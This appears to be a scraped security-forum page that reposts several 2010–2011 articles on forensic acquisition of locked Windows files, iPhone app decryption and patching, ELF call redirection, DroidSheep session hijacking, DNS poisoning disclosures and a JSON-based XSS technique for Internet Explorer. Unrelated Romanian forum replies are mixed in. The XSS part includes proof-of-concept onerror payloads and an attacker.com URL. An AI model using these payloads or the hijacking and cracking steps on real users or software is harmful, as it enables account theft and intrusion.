How to acquire "locked" files from a running Windows system By Par Osterberg Medina. Tuesday, October 25, 2011 Windows systems offer a variety of special files that contain important pieces of information that are useful in a forensic investigation. Some obvious examples include the pagefile.sys, event log, registry hives, and NTFS-specific files such as the Master File Table ($MFT). It is a common misconception of many forensic investigators and incident responders that collecting these special files from a live system is cumbersome and impossible to do via the command line. In this blog post I will show a couple different ways to bypass the protection mechanism that Windows holds on these files. Without this hold, it then becomes possible to acquire these files from a running system. You have most likely found yourself in the situation were you wanted to copy a file from a running Windows system, only to be greeted with the infamous "File in Use" dialog box. This is Windows’ way of ensuring that the file is not changed by another process while we are copying it so that we’re not left with a distorted version. For us to succeed with the copy operation we need to communicate directly with the hard drive of the system. This may be accomplished by referring to the volume that the file resides on using Win32 device namespaces, also called "DOS Devices". Win32 Device Namespace By using the "\\.\" prefix we will access the Win32 device namespace (or NamedPipe) instead of the Win32 file namespace to give us direct access to physical disks and volumes without enforcing Windows file protections. In order to illustrate how the process is carried out I will use a tool from Microsoft called ‘nfi’ (NTFS File Sector Information Utility). Identifying Sector Addresses This particular tool is included in the OEM Support Tools for NT 4.0 and Windows 2000 and was originally released June 23, 2000. ‘nfi’ will query the NTFS file system for information regarding a file or a specific sector address in the file system. A sector is the smallest building block on a hard drive and is set by the manufactures of hard drives. One important piece of information that ‘nfi’ gives us is the addresses to the sectors of the file we want to acquire. In the following example, using a 64bit version of Windows 7, we will first create a file (foundstone.txt) and then view its NTFS properties using ‘nfi’: C:\>ver Microsoft Windows [Version 6.1.7601] C:\>FOR /L %i IN (1,1,20) DO @echo data data data data data data >> c:\foundstone.txt C:\>nfi.exe c:\foundstone.txt NTFS File Sector Information Utility. Copyright (C) Microsoft Corporation 1999. All rights reserved. \foundstone.txt $STANDARD_INFORMATION (resident) $FILE_NAME (resident) $FILE_NAME (resident) $DATA (nonresident) logical sectors 7357616-7357623 (0x7044b0-0x7044b7) Notice the last line, this tells us that foundstone.txt is located on logical sectors 7357616-7357623. With this information we can continue to carve out the file from the file system. This is a technique that is commonly referred to as “disk carving” and is used quite extensively in computer forensics. Disk Carving The tool of choice for disk carving is ‘dd’, the “Swiss army knife” of disk based forensics. In this example I will be using the version of ‘dd’ that is included in the Forensic Acquisition Utilities (FAU) written by George M. Garner Jr. First we need specify the Win32 device namespace of our volume as the input file (“if”) and the size of our sectors as the block size (“bs”). We also need to specify where on the volume we want to start carving (“skip”) and how many sectors we want to process (“count”). The option ‘conv=noerror’ tells the program no to stop its operation if it encounter any errors. Below we’ve also piped the output into hexdump so it’s a little easier to read. C:\>dd.exe if=\\.\c: skip=7357616 bs=512 count=8 conv=noerror |hexdump 0000000: 6461 7461 2064 6174 6120 6461 7461 2064 data data data d 0000010: 6174 6120 6461 7461 2064 6174 6120 0a64 ata data data .d 0000020: 6174 6120 6461 7461 2064 6174 6120 6461 ata data data da 0000030: 7461 2064 6174 6120 6461 7461 200a 6461 ta data data .da 0000040: 7461 2064 6174 6120 6461 7461 2064 6174 ta data data dat 0000050: 6120 6461 7461 2064 6174 6120 0a64 6174 a data data .dat 0000060: 6120 6461 7461 2064 6174 6120 6461 7461 a data data data 0000070: 2064 6174 6120 6461 7461 200a 6461 7461 data data .data 0000080: 2064 6174 6120 6461 7461 2064 6174 6120 data data data 0000090: 6461 7461 2064 6174 6120 0a64 6174 6120 data data .data 00000a0: 6461 7461 2064 6174 6120 6461 7461 2064 data data data d 00000b0: 6174 6120 6461 7461 200a 6461 7461 2064 ata data .data d 00000c0: 6174 6120 6461 7461 2064 6174 6120 6461 ata data data da 00000d0: 7461 2064 6174 6120 0a64 6174 6120 6461 ta data .data da 00000e0: 7461 2064 6174 6120 6461 7461 2064 6174 ta data data dat 00000f0: 6120 6461 7461 200a 6461 7461 2064 6174 a data .data dat 0000100: 6120 6461 7461 2064 6174 6120 6461 7461 a data data data 0000110: 2064 6174 6120 0a64 6174 6120 6461 7461 data .data data 0000120: 2064 6174 6120 6461 7461 2064 6174 6120 data data data 0000130: 6461 7461 200a 6461 7461 2064 6174 6120 data .data data 0000140: 6461 7461 2064 6174 6120 6461 7461 2064 data data data d 0000150: 6174 6120 0a64 6174 6120 6461 7461 2064 ata .data data d 0000160: 6174 6120 6461 7461 2064 6174 6120 6461 ata data data da 0000170: 7461 200a 6461 7461 2064 6174 6120 6461 ta .data data da 0000180: 7461 2064 6174 6120 6461 7461 2064 6174 ta data data dat 0000190: 6120 0a64 6174 6120 6461 7461 2064 6174 a .data data dat 00001a0: 6120 6461 7461 2064 6174 6120 6461 7461 a data data data 00001b0: 200a 6461 7461 2064 6174 6120 6461 7461 .data data data 00001c0: 2064 6174 6120 6461 7461 2064 6174 6120 data data data 00001d0: 0a64 6174 6120 6461 7461 2064 6174 6120 .data data data 00001e0: 6461 7461 2064 6174 6120 6461 7461 200a data data data . 00001f0: 6461 7461 2064 6174 6120 6461 7461 2064 data data data d 0000200: 6174 6120 6461 7461 2064 6174 6120 0a64 ata data data .d 0000210: 6174 6120 6461 7461 2064 6174 6120 6461 ata data data da 0000220: 7461 2064 6174 6120 6461 7461 200a 6461 ta data data .da 0000230: 7461 2064 6174 6120 6461 7461 2064 6174 ta data data dat 0000240: 6120 6461 7461 2064 6174 6120 0a64 6174 a data data .dat 0000250: 6120 6461 7461 2064 6174 6120 6461 7461 a data data data 0000260: 2064 6174 6120 6461 7461 200a 0000 0000 data data ..... 0000270: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000280: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000290: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00002f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000300: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000320: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000330: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 0000390: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00003b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00003c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00003d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00003e0: 0000 0000 0000 0000 0000 0000 7275 653b ............rue; 00003f0: 7d3b 7362 5f67 683d 6675 6e63 7469 6f6e };sb_gh=function 0000400: 2829 7b72 6574 7572 6e20 6c6f 6361 7469 (){return locati 0000410: 6f6e 2e68 6173 687d 3b73 625f 7368 3d66 on.hash};sb_sh=f 0000420: 756e 6374 696f 6e28 6129 7b6c 6f63 6174 unction(a){locat 0000430: 696f 6e2e 6861 7368 3d61 7d3b 5f77 3d77 ion.hash=a};_w=w 0000440: 696e 646f 773b 5f64 3d64 6f63 756d 656e indow;_d=documen 0000450: 743b 7362 5f64 653d 5f64 2e64 6f63 756d t;sb_de=_d.docum 0000460: 656e 7445 6c65 6d65 6e74 3b73 625f 6965 entElement;sb_ie 0000470: 3d21 215f 772e 4163 7469 7665 584f 626a =!!_w.ActiveXObj As you can see, there is data being printed to stdout even after the data in our file has ended. The reason for this is because a file occupies sectors grouped together on an even boundary. This grouping of sectors is called a cluster and the data that we see after the end of the file is referred to as slack space, remnants of old files that used to occupy the same sectors that now are part of the clusters for our file. As a side note and interesting detail from a forensics stand point is that no time stamps are modified. Using icat and ifind Now that we know the basics of what is needed to acquire a file using the Win32 device namespace, let’s take a look at using a more automated method for doing so. Another way to get files of the system (not worrying about slack space at the end of the file and with no need for manual calculation of where the clusters start and end) is to use the utilities ‘ifind’ and ‘icat’ from Brian Carriers’ the Sleuthkit.The Sleuthkit, in my opinion, is the best and most flexible forensic toolkit available – and it’s open source. By specifying the drive letter and the path to the file, ‘icat’ will return the entry number the file has in the $MFT. While this number is referred to as an $MFT entry on NTFS, it’s called an inode in UNIX based file systems. In order for ‘ifind’ to work properly the full path to must be given using UNIX style path (forward slash instead of back slash and with no drive letter in the beginning of the path). In this example we will acquire the security registry hive from the running system, a file that is normally not accessible. C:\>ifind.exe -V The Sleuth Kit ver 3.2.3 C:\>ifind.exe -n /windows/system32/config/security \\.\c: 27392 By using the files number in the $MFT as an argument to ‘icat’ we can easily carve out the file from the file system. The ‘icat’ program will take care of terminating the output where the file ends but we need to redirect the output from stdout to wherever we want to store the file. C:\>icat.exe \\.\c: 27392 > c:\security.bin C:\> file.exe security.bin security.bin; MS Windows registry file, NT/2000 or above Now that we know how to bypass Windows file protection the only thing that remains is to automate the procedure so that we can include the “locked” files in our live data acquisition phase. I was going to post my wrapper script to ‘ifind’ and ‘icat’ but when I did some researching on the Internet I found a much better tool called ‘ntfscopy’. ntfscopy The tool is written by Jonathan Tomczak from TZWorks LLC and does exactly what we have discussed above plus more. You can download it from http://tzworks.net. Here are the options that ‘ntfscopy’ supports; usage: copying by filename ntfscopy.exe = live system ntfscopy.exe -image [-offset ] other options that can be used w/ the above -raw = output raw clusters including slack space -meta = pull out metadata into separate file [.meta.txt] -skip_sparse_clusters = don't include sparse clusters in the output -md5 = prepends last mod time to filename and appends md5 hash experimental options a. copying by logical cluster number (LCN) ntfscopy.exe -partition -cluster ntfscopy.exe -image [-offset ] -cluster b. copying from a VMWare virtual NTFS drive (limited) ntfscopy.exe -vmdk [-vmdk ] c. piping in which files to copy dir \* /b /s | ntfscopy.exe -pipe -md5 Here is an example of using ‘ntfscopy’ to acquire a copy of the $MFT from a live Windows system. C:\>ntfscopy.exe c:\$MFT c:\copy_of_MFT ntfscopy ver: 0.65, Copyright (c) TZWorks LLC copy successful Forensic Get Another tool that will get the job done is FGET or Forensic Get from HBGary, Inc. The program can not only acquire “locked” files from a local file system, but does also support over the network operations. FGET and other free tools from HBGary can be downloaded from http://hbgary.com/free-tools. Below is an example of me using FGET to acquire a copy of the $Mft. C:\>FGET.exe -extract c:\$Mft c:\copy_of_Mft2.bin -= FGET v1.0 - Forensic Data Acquisition Utility - (c)HBGary, Inc 2010 =- [+] Extracting File From Volume ...SUCCESS! By including 'ntfscopy' or any of the other methods described above, forensic examiners and incident responders can now acquire protected files through a command line interface. Examples of how we can put everything together and automate it will be explained in part II of this blog post. Bio Par Osterberg Medina has worked with computer security for over 15 years, with a background in both system administration and penetration testing. Prior to joining Foundstone, Par spent the last 8 years working as an Incident Handler for the Swedish GovCERT, investigating computer intrusions and coordinating security related incidents. He specializes in Malware Analysis and Memory Forensics, finding Rootkits that tries to stay hidden in the Operating System. He has conducted training and lectured on this subject all over the world at conferences such as FIRST and The GOVCERT.NL Symposium. Sursa: http://blog.opensecurityresearch.com/2011/10/how-to-acquire-locked-files-from.html

Decrypting iPhone Apps saurabh @ 13:57 This blog post steps through how to convert encrypted iPhone application bundles into plaintext application bundles that are easier to analyse. Requirements: 1) Jailbroken iPhone with OpenSSH, gdb plus other utilities (com.ericasadun.utilities etc. etc.) 2) An iPhone app 3) On your machine: otool (comes with iPhone SDK) Hex editor (0xED, HexWorkshop etc.) Ida - Version 5.2 through 5.6 supports remote debugging of iPhone applications (iphone_server). For this article, I will use the app name as "blah". Some groundwork, taken from Apple's API docs [1, 2]: The iPhone apps are based on Mach-O (Mach Object) file format. The image below illustrates the file format at high-level: A Mach-O file contains three major regions: 1. At the beginning of every Mach-O file is a header structure that identifies the file as a Mach-O file. The header also contains other basic file type information, indicates the target architecture, and contains flags specifying options that affect the interpretation of the rest of the file. 2. Directly following the header are a series of variable-size load commands that specify the layout and linkage characteristics of the file. Among other information, the load commands can specify: The initial layout of the file in virtual memory The location of the symbol table (used for dynamic linking) The initial execution state of the main thread of the program The names of shared libraries that contain definitions for the main executable's imported symbols 3. Following the load commands, all Mach-O files contain the data of one or more segments. Each segment contains zero or more sections. Each section of a segment contains code or data of some particular type. Each segment defines a region of virtual memory that the dynamic linker maps into the address space of the process. The exact number and layout of segments and sections is specified by the load commands and the file type. 4. In user-level fully linked Mach-O files, the last segment is the link edit segment. This segment contains the tables of link edit information, such as the symbol table, string table, and so forth, used by the dynamic loader to link an executable file or Mach-O bundle to its dependent libraries. The iPhone apps are normally encrypted and are decrypted by the iPhone loader at run time. One of the load commands is responsible for decrypting the executable. Push EBP Mov EBP, ESP JMP loc_6969 loc_6969: Once you have downloaded and installed an app on your iPhone, make a copy of the actual executable on your machine. Note1: The blah.app is not the actual executable. If you browse this folder, you will find a binary file named blah. This is the actual application binary. Note2: To find the path where your application is installed, ssh onto your iPhone and use the following command: sudo find / | grep blap.app Once you have copied the app binary on your machine, follow the steps below (on your local machine). Open up a terminal and type the following command: otool —l blah | grep crypt This assumes that iPhone SDK or otool is already installed on your machine. The above command will produce the following output: If cryptid is set to 1, it implies that the app is encrypted. cryptoff and cryptsize indicates the offset and size of crypt section respectively. Now, firstly we'll have to locate the cryptid in the binary and set it to zero. This is done so that when we finally decrypt the binary and execute it on iPhone, the loader does not attempt to decrypt it again. Open the binary in a hex editor and load the binary. I did not come across any definite method of locating the cryptid. Once you have loaded the binary in a hex editor, search for “/System/Library/Frameworks”. You should be able to locate it around the address 0x1000. In the line, just above the very first instance of this statement (/System/Library/Frameworks), you will find bytes 01. Flip it to 00 and save the file. Note3: In case you find multiple instances of 01, use coin-tossing method of choosing between them. Use otool again to query the crypt data. You will see that the cryptid is now set to 0 (zero). Next, we need to run the app, which was installed on iPhone and take a memory dump. Note4: The actual application code starts at 0x2000. The cryptsize in case of our sample app is 942080 (0xE6000). Hence, we add 0x2000 and 0xE6000. 0x2000 + 0xE6000 = 0xE8000 Therefore, we need to dump the running process from 0x2000 till 0xE8000. Now, ssh onto your iPhone, run the target app and look for the process id using “ps —ax” command. Once you have the process id, use the following command to dump the process: gdb —p PID dump memory blah.bin 0x2000 0xE8000 Once you have taken the memory dump, use “quit” command to exit gdb. Use the following command to get the size of memory dump: ls —l blah.bin The size of this bin file should exactly be same as the cryptsize of the original app. Refer to screenshot above. Now pull this bin file onto your local machine. On your local machine, load the bin file in a hex editor and copy everything (using select all or whatever). Close the file and open the original app in the hex editor. (The file in which we modified cryptid 01 to 00). If you remember, the cryptoff was 4096, which is 0x1000 (in hex). Proceed to memory address 0x1000 and make sure that your hex editor is in overwrite mode, not in append mode. Once you are on memory address 0x1000, paste everything you copied from the bin file. This will overwrite the encrypted section with the decrypted one. Save the file and you're done. Open the file in IDA pro and you'll see the difference between the encrypted and decrypted binaries. At this point, you can easily reverse engineer the app and patch it. The first image below shows an encrypted app and the second one illustrates a decrypted app: After patching the application, ssh onto the iPhone and upload it to the application directory. This would mean replace the original binary with the patched one. Once uploaded, install a utility called "ldid" on your iphone. apt-get install ldid Finally, sign the patched binary using ldid: ldid -s blah This will fix the code signatures and you will be able to run the patched app on your iPhone. References: 1) http://developer.apple.com/library/mac/#documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html 2) http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/otool.1.html Sursa: http://www.sensepost.com/blog/6254.html

Prin ce metoda se injecteaza, CreateRemoteThread?

Ca ateu, nu am nimic cu ratatii care vin sa pupe oase, dar am ceva cu BOR-ul (Biserica Ortodoxa Romana) si cu magariile financiare pe care le fac.

Sunt diferente: - versiunea de kernel si driverele pentru placile de retea suportate - patch-urile pentru drivere ca sa suporte packet injection (sau cum se cheama) - versiunile de airmon/aircrack... pe langa celelalte utilitare Deci, cel putin in teorie, 5 ar trebui sa aiba multe plusuri fata de 3. PS: Aceste diferente nu prea sunt "vizibile" de obicei, poate doar sa folosesti --channel in loc de -c.

Redirecting functions in shared ELF libraries By Apriorit Inc, Anthony Shoumikhin | 2 Apr 2010 | Unedited contribution This article gives brief description of ELF libs structure and functioning and also shows how to intercept function calls from one library into another TABLE OF CONTENTS 1. The problem 1.1 What does redirecting mean? 1.2 Why redirecting? 2. Brief ELF explanation 2.1 Which parts does ELF file consist of? 2.2 How do shared ELF libraries link? 2.3 Some useful conclusions 3. The solution 3.1 What is the algorithm of redirection? 3.2 How to get the address, which a library has been loaded to? 3.3 How to write and restore a new function address? 4. Instead of conclusion 5. Useful links 1. The problem We all use Dynamic Link Libraries (DLL). They have excellent facilities. First, such library loads into the physical address space only once for all processes. Secondly, you can expand the functionality of the program by loading the additional library, which will provide this functionality. And that is without restarting the program. Also a problem of updating is solved. It is possible to define the standard interface for the DLL and to influence the functionality and the quality of the basic program by changing the version of the library. Such methods of the code reusability were called "plug-in architecture". But let's move on. Of course, not every dynamic link library relies only on itself in its implementation, namely, on the computational power of the processor and the memory. Libraries use libraries or just standard libraries. For example, programs in the C\C++ language use standard C\C++ libraries. The latter, besides, are also organized into the dynamic link form (libc.so and libstdc++.so). They are stored in the files of the specific format. My research was held for Linux OS where the main format of dynamic link libraries is ELF (Executable and Linkable Format). Recently I faced the necessity of intercepting function calls from one library into another - just to process them in such a way. This is called the call redirecting. 1.1 What does redirecting mean? First, let’s formulate the problem on the concrete example. Supposing we have a program called "test" on the C language (test.c file) and two split libraries (libtest1.c and libtest2.c files) with permanent contents and which were compiled beforehand. These libraries provide functions: libtest1() and libtest2(), respectively. In their implementation each of them uses the puts() function from the standard library of the C language. A task consists in the following: To replace the call of the puts() function for both libraries by the call of the redirected puts() function. The latter is implemented in the master program (test.c file) that can in its turn use the original puts() function; To cancel the performed changes, that is to make so that the repeated call of libtest1() and libtest2() leads to the call of the original puts() function. It is not allowed to change the code or recompile the libraries. We can change only the master program. Articol complet: http://www.codeproject.com/KB/library/elf-redirect.aspx

Howto Use Droidsheep - Tutorial Description: This official tutorial for DroidSheep for Android shows how to use DroidSheep to capture sessions in your local network. DroidSheep runs on your Android device and listens to the networks traffic. If it captures a cookie, it shows a list with the cookies and the user can simply use the victims account without knowing his user credentials. Download droidsheep: Droidsheep - Insecure Stuff If u have any problem then contact me on twitter: Twitter Video: http://www.securitytube.net/video/2374

Super, inseamna ca nu e problema daca ti-am sters ultimele cifre (referral) din link nu?

Cred ca acum e --channel in loc de -c. In acel fisier se salveaza pachetele (nu intregi) necesare pentru spargerea parolei. Nici eu nu stiu prea multe in acest domeniu, pune un nume de fisier, pe care sa il tii minte, il vei folosi cu aircrack.

DNS poisoning via Port Exhaustion Today we are releasing a very interesting whitepaper which describes a DNS poisoning attack against stub resolvers. It discloses two vulnerabilities: A vulnerability in Java (CVE-2011-3552, CVE-2010-4448) which enables remote DNS poisoning using Java applets. This vulnerability can be triggered when opening a malicious webpage. A successful exploitation of this vulnerability may lead to disclosure and manipulation of cookies and web pages, disclosure of NTLM credentials and clipboard data of the logged-on user, and even firewall bypass. A vulnerability in multiuser Windows environments which enables local DNS cache poisoning of arbitrary domains. This vulnerability can be triggered by a normal user (i.e. one with non-administrative rights) in order to attack other users of the system. A successful exploitation of this vulnerability may lead to information disclosure, privilege escalation, universal XSS and more. The whitepaper can be found here. http://blog.watchfire.com/files/dnsp_port_exhaustion.pdf A few video demos of our Proof-of-Concept: Attack: Remote DNS poisoning via Java Applets: Cookie theft. Environment: Ubuntu 11.04, Firefox 7.0.1. http://www.youtube.com/watch?v=eSEvFmsw55A Attack: Remote DNS poisoning via Java Apples: NTLM credentials and Clipboard theft. Environment: Windows 2008, Internet Explorer 9. http://www.youtube.com/watch?v=i-Fmk7-pFFA Attack: Remote DNS poisoning via Java Applets: Firewall bypass. Environment: Windows 2008, Firefox 7.0.1. http://www.youtube.com/watch?v=7CFq_pofeBU Attack: Local DNS poisoning via port exhaustion. Environment: Windows 2008. http://www.youtube.com/watch?v=m2GkLL9d68E We would like to thank Oracle and Microsoft for their cooperation. -Roee Hay and Yair Amit Sursa: IBM Rational Application Security Insider: DNS poisoning via Port Exhaustion

JSON-based XSS exploitation October 24, 2011 JSON rendering in Internet Explorer In the world of Web2.0 and mash web applications, security researchers come across more and more XSS vulnerabilities that are reflected in non HTML responses. For example, JSON responses are becoming more and more common, but exploiting XSS vectors in those pages is considered theoretical because browsers pop up the file download dialog instead of rendering the response when the returned content-type is application/json or application/javascript. There are a few known methods to indirectly exploit these issues: 1. Attacking the JSON parsing mechanism: Some applications use JS evaluation functions in order to create an object from the returned JSON content. If the attacker is able to inject, for example, a quote sign, he can break out of the JS string surrounding the value and exploit the XSS through the eval function. For example: "name":"Foo "+alert(/XSS/.source)+"Bar" 2. Waiting for document.write: Some applications will write parts of the data returned in the JSON response to the DOM. An attacker can inject HTML content into the JSON response that will be rendered once the application writes it to the page. For example: "name":"Foo <img src=x onerror=alert(/XSS/.source)>Bar" Although the previous methods will work, they have a few limitations: Not all applications have the logical flow needed in order to exploit these attacks. Some applications use client side filtering that will prevent them from running. After thorough research on alternative ways to exploit these types of vulnerabilities, we have discovered a way to render JSON responses in IE by direct browsing. The way IE decides what content-type will be used for a specific response is as follows: (As discovered by Black-Box research) The suggested (server supplied) content-type is searched for in the windows registry for the corresponding CLSID, in order to find the correct handler for that response. If the suggested content-type is found, IE will consider that to be the final content-type. If the suggested content-type however is not found, IE will attempt to figure out the content-type based on the file extension and other vectors. JSON responses generally use the content-type application/json, the problem is that the default mime type list of Internet Explorer does not include that mime-type, in fact it does not include any JSON mime type whatsoever. Example scenario while browsing to a link which returns JSON content: User browses to http://attacker.com/json.php Internet Explorer searches the windows registry (HKCR\MIME\Database\Content Type\) for the returned content-type (application/json). – Not found. Internet Explorer searches the windows registry (HKCU\Software\Classes\) for the file extension (.php) – Not found. Internet Explorer prompts the file download dialog. From this scenario we can conclude that in cases where the server returns content-types that are unknown to Internet Explorer, the file extension (in addition to other factors not covered here) dictates the final content-type that will be used. In order to force IE to render JSON responses, the file extension in the URL must be set to something that IE consider as text/html (.htm or .html). The way most web servers parse the path from a request is this: The user requests the page http://site.com/html/pages/page.php?id=1 The server starts to search for the requested resource at the pre-defined path of the web server (for example /var/www/) The server searches for the path requested by the user one entity at a time (starting from left). The server finds that /html/pages/page.php is an executable file and stops the search (executable means that the server has some handler that correlates to that file type; in this case the PHP engine). The rest of the path (id=1) is then passed as a parameter (GET) to PHP. Most server side languages (.Net, PHP, Python, Perl…) accept another type of parameter to be passed from the URL: Path-Info. Unlike the GET parameter, in which the delimiter value is the question mark sign (?), path-info uses the slash sign (/) as its delimiter. For example the previous path for page.php can be expanded into having a path-info: http://site.com/html/pages/page.php/user=2?id=1 [scheme]://[domain][path]/[path-info]?[get-query] Once an attacker combines path-info with IE's way of considering content-type values, a wide method of exploiting JSON responses for XSS is achievable. Consider the following scenario: The attacker found a reflected XSS in a web application. When browsing to "http://site.com/page.php?user=bla<img onerror=alert(1) src=x>bla" Internet Explorer pops up the file download dialog (explained in the beginning of this document). The attacker now adds the value ".html" as a path-info to the URL The attacker now browses to: http://site.com/page.php/.html?user=blah<img onerror=alert(1) src=x>blah The server returns the same page (containing XSS) with same content-type (application/json) Internet Explorer searches the windows registry for the application/json content-type and cannot find it. This is the point where Internet Explorer uses the file extension of the URL to determine the content-type of the response, only this time the extension IE sees is .html! Internet Explorer finds the matching content-type for .html files to be text/html, renders the response and fires up the XSS. Impact: Client side, tested successfully on: • Internet Explorer 6 • Internet Explorer 7 • Internet Explorer 8 • Internet Explorer 9 Server side, tested successfully on: • IIS 5.1 (ASPX , PHP) • IIS 6 (ASPX , PHP) • IIS 7.5 (ASPX , PHP) • Apache/2.2.14 (PHP) Remediation: Client side: • The following registry key will add the content-type application/json and a corresponding CLSID [HKEY_CLASSES_ROOT\MIME\Database\Content Type\application/json] "CLSID"="{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}" Server side: • In order to remediate this issue in the server side, beyond the normally recommended sanitization of user supplied inputs, we recommend turning off support of Path-Info. Sursa: http://blog.watchfire.com/wfblog/2011/10/json-based-xss-exploitation.html

De la serverele la care au obtinut acces. De obicei au un motiv pentru fiecare actiune si de obicei obtin acces total: root.